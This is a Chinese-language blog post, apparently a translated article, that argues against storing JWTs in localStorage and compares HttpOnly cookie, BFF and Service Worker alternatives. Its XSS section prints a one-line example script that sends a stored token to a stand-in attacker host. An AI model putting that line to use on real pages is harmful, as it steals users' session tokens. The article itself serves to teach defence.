🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付

前端鑑權新时代:告別 localStorage,擁抱更安全的 JWT 存儲方案

如果你是一名前端開發者,下面這行代碼可能早已成為你的肌肉記憶:

localStorage.setItem('token', jwtToken);

簡單、直接、有效。多年來,將 JWT 存儲在 localStorage 中似乎是前後端分離架構下的"標準答案"。但隨著網路安全威脅的持續演進,這個曾經的"最佳實踐"如今已成為巨大的安全隱患。

2025 年即將到來,前端生態日新月異。如果我們仍在沿用舊的鑑權模式,無異於將精心構建的應用暴露在風險之中。是時候更新我們的知識庫,擁抱更安全的鑑權新思路了。

localStorage 的安全隱患:為何它不再適用?

localStorage 的核心問題在於其對 XSS 攻擊的脆弱性。

XSS 攻擊原理

XSS 攻擊是指攻擊者在我們的網站上注入並執行惡意 JavaScript 腳本。注入途徑多樣,可能是用戶渲染的惡意評論,也可能是包含惡意代碼的 URL 參數。

XSS 如何竊取 localStorage 中的 Token

一旦惡意腳本在頁面上成功執行,它就擁有了與我們前端代碼幾乎相同的權限。攻擊者只需一行簡單代碼,就能將存儲的 JWT 發送到自己的伺服器:

// 惡意腳本示例
fetch('https://attacker-server.com/steal?token=' + localStorage.getItem('token'));

Token 一旦被盜,攻擊者就能冒充用戶身份,訪問所有依賴該 Token 的後端介面,造成毀滅性後果。

結論:localStorage 本質上是對 JavaScript 完全開放的沙盒。任何能在我們頁面上執行的腳本都能讀寫其中所有數據。將敏感的用戶身份憑證存放在此,就像把家門鑰匙掛在門外的釘子上——方便了自己,也方便了小偷。

傳統解決方案:HttpOnly Cookie 的利與弊

為解決 XSS 盜取 Token 的問題,社群提出了經典方案:使用 HttpOnly Cookie。

當伺服器設定 Cookie 時添加 HttpOnly 標誌,該 Cookie 將無法通過客戶端 JavaScript 存取,瀏覽器只會在發送 HTTP 請求時自動攜帶它。

優勢

  • 有效防禦 XSS 盜取:JavaScript 無法讀取,XSS 攻擊者無法直接竊取 Token
  • 瀏覽器自動管理:無需前端代碼手動在每個請求頭中添加 Authorization

挑戰:CSRF 攻擊

HttpOnly Cookie 帶來了新的安全挑戰——CSRF 攻擊。

CSRF 攻擊指攻擊者誘導已登入用戶從惡意網站發起非本意的請求。例如,用戶登入了 bank.com 後訪問 evil.com,該網站上的自動提交表單會向 bank.com 的轉帳介面發起請求,瀏覽器自動攜帶 Cookie 完成轉帳。

解決方案

  • SameSite 屬性:將 Cookie 的 SameSite 屬性設置為 Strict 或 Lax,有效阻止跨站請求攜帶 Cookie
  • CSRF Token:伺服器生成隨機 CSRF Token,前端在狀態變更請求中攜帶,伺服器進行驗證

HttpOnly Cookie 方案雖然可行,但要求後端進行精細的 Cookie 配置和 CSRF 防禦,對於現代前後端分離、特別是跨域調用場景,配置複雜度較高。

2025 年前端鑑權新思路

有沒有既能有效防範 XSS,又能優雅適應現代前端架構的方案?以下是兩種值得在 2025 年及以後重點關注的鑑權模式。

方案一:BFF + Cookie 模式

BFF 模式在前端應用和後端微服務之間增加"服務於前端的後端"層,專門負責鑑權、API 聚合和數據轉換。

鑑權流程
  1. 登入:前端將使用者名稱密碼發送給 BFF
  2. 認證與換取:BFF 將憑證發送給認證服務,獲取 JWT
  3. 設定安全 Cookie:BFF 創建會話,將 Session ID 存儲在安全的 HttpOnly、SameSite=Strict Cookie 中返回給瀏覽器
  4. API 請求:前端向 BFF 發起所有 API 請求,瀏覽器自動攜帶 Session Cookie
  5. 代理與鑑權:BFF 通過 Session Cookie 找到對應會話和 JWT,將 JWT 添加到請求頭中轉發給後端微服務
優勢
  • 極致安全:JWT 完全不暴露給前端,XSS 攻擊者無從竊取
  • 前端無感:前端開發者無需關心 Token 的存儲、刷新和攜帶
  • 架構清晰:BFF 層處理所有安全和服務通信複雜邏輯,前端專注 UI
缺點
  • 增加了架構複雜度,需要額外維護 BFF 服務

方案二:Service Worker + 內存存儲

這是更"激進"的純前端方案,利用 Service Worker 的強大能力。

鑑權流程
  1. 登入:主線程登入成功後,通過 postMessage 將 JWT 發送給啟用的 Service Worker
  2. 內存存儲:Service Worker 將 Token 存儲在自身作用域內的變數中(內存中),不使用 localStorage 或 IndexedDB
  3. 攔截請求:前端應用發起 API 請求,但不添加 Authorization 頭
  4. 注入 Token:Service Worker 監聽 fetch 事件,攔截所有出站 API 請求,克隆原始請求並將內存中的 Token 添加到新請求的 Authorization 頭中
  5. 發送請求:Service Worker 將帶有 Token 的新請求發送到網路
優勢
  • 有效隔離:Token 存儲在 Service Worker 的獨立運行環境中,與主線程的 window 對象隔離,常規 XSS 腳本無法訪問
  • 邏輯集中:Token 刷新邏輯可封裝在 Service Worker 中,對應用代碼完全透明
  • 無需額外服務:相比 BFF,這是純前端解決方案
缺點
  • 實現複雜,Service Worker 的生命週期和通信機制比 localStorage 複雜得多
  • 需考慮瀏覽器相容性及 Service Worker 被意外終止或更新的場景

方案對比

方案 防禦 XSS 竊取 防禦 CSRF 前端複雜度 後端/架構複雜度 推薦場景
localStorage ❌ 極差 ✅ 天然免疫 ⭐ 極低 ⭐ 極低 不推薦用於生產環境的敏感數據
HttpOnly Cookie ✅ 優秀 ⚠️ 需手動防禦 ⭐⭐ 較低 ⭐⭐⭐ 中等 傳統 Web 應用,或有能力處理 CSRF 的團隊
BFF + Cookie ✅✅ 頂級 ✅✅ 頂級 ⭐ 極低 ⭐⭐⭐⭐ 較高 中大型應用,微服務架構,追求極致安全與清晰分層
Service Worker ✅ 優秀 ✅ 天然免疫 ⭐⭐⭐⭐ 較高 ⭐ 極低 PWA,追求純前端解決方案,願意接受更高複雜度的創新項目

總結與建議

將 JWT 存儲在 localStorage 的時代正在過去。這不是危言聳聽,而是對日益嚴峻的網路安全形勢的積極回應。

  • 對於新項目或有重構計劃的項目,強烈建議採用 BFF + Cookie 模式。雖然增加了架構成本,但換來的是頂級的安全性和清晰的職責劃分,從長遠看是值得的投資。
  • 對於追求極致前端技術或構建 PWA 的團隊,Service Worker 方案提供了充滿想像力的選擇,能夠將安全邊界控制在前端內部。
  • 如果應用規模較小且暫時無法引入 BFF,HttpOnly Cookie 配合嚴格的 SameSite 策略和 CSRF Token,依然是比 localStorage 安全得多的可靠選擇。

安全不是可選項,而是必選項。在 2025 年即將到來之際,讓我們共同構建更安全、更健壯的前端應用。


原文出處:https://juejin.cn/post/7562737239434051622


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝28   💬6   ❤️8
681
🥈
我愛JS
📝1   💬11   ❤️1
78
🥉
御魂
💬1  
4
#4
2
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付